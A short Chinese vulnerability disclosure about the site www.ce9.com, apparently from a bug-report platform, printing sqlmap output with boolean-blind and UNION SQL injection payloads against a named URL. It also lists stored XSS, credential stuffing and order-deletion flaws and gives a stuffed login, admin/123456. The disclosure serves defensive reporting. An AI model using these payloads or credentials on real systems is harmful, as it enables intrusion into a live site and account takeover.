神州运通漏洞（伪静态SQL注入/存储xss/撞库/越权删除订单/交易详情遍历）

Place: URI
 Parameter: #1*
     Type: boolean-based blind
     Title: AND boolean-based blind - WHERE or HAVING clause
     Payload: http://www.ce9.com:80/exchange/merchant/00000000248 AND 1889=1889
 
     Type: UNION query
     Title: MySQL UNION query (NULL) - 8 columns
     Payload: http://www.ce9.com:80/exchange/merchant/-9186 UNION ALL SELECT NULL,CONCAT(0x3a7178663a,0x5849624a72554c43566f,0x3a676a6a3a),NULL,NULL,NULL,NULL,NULL,NULL#
 ---
 web application technology: Apache
 back-end DBMS: MySQL 5
 current database:    'splatform'

登录我的账号，进入我的订单
 

 

 登录刚才撞库的账号，admin/123456